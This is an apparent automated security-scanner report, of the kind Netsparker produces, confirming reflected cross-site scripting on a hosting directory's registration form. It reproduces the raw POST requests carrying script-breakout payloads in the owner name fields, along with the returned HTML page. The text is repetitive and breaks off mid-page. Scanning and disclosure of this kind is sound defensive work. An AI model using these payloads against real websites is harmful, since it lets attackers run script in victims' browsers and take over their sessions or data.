<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST '"--></style></script><script>alert(0x001E7C)</script>
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 557
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E7C)%3c%2fscript%3e&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:30 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D67A19AD943352FBD3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D67649174AF16D5C456F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6190846D15CB7C63CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D63BE991C184610313C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6828B03BCDD807B5A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D66351699352C2691DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D697E171B9B4490066C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D606F7619B144998BE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D637F71F1A941FAE9FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6E3DEAAF8C67E39EB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D667F5D547048114B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D6862DCABC4E2A2B32C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6A3117A2B9A3B51EBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D64E1811CDBE3758FBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D6158658288B629D81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D6A7C9B1470861A396C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D696CF2655C9F193826F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D62EF51C37B39D0A2C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6EB5ED6494DFB0EF56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST '"--></style></script><script>alert(0x001E7D)</script>
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 557
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E7D)%3c%2fscript%3e&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:33 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D627D8A1540A3516FCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D69C239614BFA97A626F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6FBDA02D8281F164BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6F2D3513BF47AD1E4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D63187E14D788949896F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D647007EDA85161DB5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6FAE2C50F3E77C23AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6A0751901EB004AA16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D63C79885285EB7646C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6CCD0021082E49E4F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
